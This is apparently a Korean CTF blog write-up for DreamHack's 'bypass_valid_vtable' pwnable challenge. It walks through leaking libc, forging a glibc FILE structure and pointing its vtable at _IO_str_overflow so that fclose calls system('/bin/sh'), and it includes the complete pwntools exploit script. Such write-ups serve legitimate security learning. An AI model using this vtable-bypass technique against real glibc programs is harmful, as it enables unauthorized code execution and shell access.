vtable 검증을 우회하려면 _libc_IO_vtables영역에 존재하는 함수들을 fake vtable로 사용해야한다
ex) _IO_str_overflow
코드분석
#include <stdio.h>
#include <unistd.h>
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
init();
fp = fopen("/dev/urandom", "r");
printf("stdout: %p\n", stdout);
printf("Data: ");
read(0, fp, 300);
fclose(fp);
}
- stdout의 주소를 출력한다
- fp에 입력할 수 있음
익스플로잇
1.라이브러리 주소 계산
stdout주소를 통해 libc_base와 io_str_overflow의 주소를 계산하자
print(p.recvuntil(b'stdout: '))
leak = int(p.recvuntil(b'\n').strip(b'\n'), 16)
libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8
io_file_jumps와 io_str_overflow의 거리는 0xd8이다
2. 인자 조작
_s.allocate_buffer 호출 시 인자로 사용할 new_size(_IO_buf_end - _IO_buf_base)를 먼저 “/bin/sh” 문자열의 주소로 조작
⇒_IO_buf_end 를 “/bin/sh” 주소로, _IO_buf_base 를 0 으로

_IO_write_ptr 변수는 _IO_buf_end와 똑같이 설정하자
3.vtable조작
fclose함수는 내부적으로 _IO_FINISH함수를 호출하는데 이 함수 또한 __libc_IO_vtables섹션 내에 존재한다.
fclose함수가 _IO_FINISH함수를 참조하기 전에 파일 구조체의 vtaable함수를 조작해 IO_str_overflow함수를 참조하게 만들자
=> IO_str_overflow함수 내부에서 호출하는 함수 포인터를 system으로 조작하여 쉘 획득
fake_vtable = io_str_overflow - 16
IO_FINISH를 호출할 때 vtable+16위치에 있는 주소를 호출 하므로 fake_vtable의 주소를 io_str_overflow-16으로 조작하면 IO_FINISH를 호출할 때 IO_str_overflow가 호출된다
payload += p64(fake_vtable) # io_file_jump overwrite
payload += p64(system) # fp->_s._allocate_buffer RIP
_s.allocate_buffer는 vtable+0x8바이트 위치이므로 fake_vtable 이후에 system 주소를 보내면 된다
익스플로잇 코드를 짜보자
from pwn import *
p = remote('host3.dreamhack.games',12837)
libc = ELF('./libc.so.6')
elf = ELF('./bypass_valid_vtable')
print(p.recvuntil(b'stdout: '))
leak = int(p.recvuntil(b'\n').strip(b'\n'), 16)
libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 16
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.symbols['system']
fp = elf.symbols['fp']
payload = p64(0x0) # flags
payload += p64(0x0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64(( (binsh - 100) // 2 )) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(0x0) # _IO_buf_base
payload += p64(( (binsh - 100) // 2 )) # _IO_buf_end
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0x0) # _IO_chain
payload += p64(0x0) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0)
payload += p64(fp + 0x80) # _lock
payload += p64(0x0)*9
payload += p64(fake_vtable) # io_file_jump overwrite
payload += p64(system) # fp->_s._allocate_buffer RIP
p.sendline(payload)
p.interactive()

flag가 나온다
'CTF > Pwnable' 카테고리의 다른 글
| [DreamHack] checkflag Write-up (0) | 2024.03.31 |
|---|---|
| [Dreamhack] blindsc Write-up (0) | 2024.03.31 |
| [DreamHack] _IO_FILE Arbitrary Address Write Write-up (0) | 2024.03.30 |
| [DreamHack] send_sig Write-up (0) | 2024.03.30 |
| [DreamHack] overwrite_rtld_global write-up (0) | 2024.03.29 |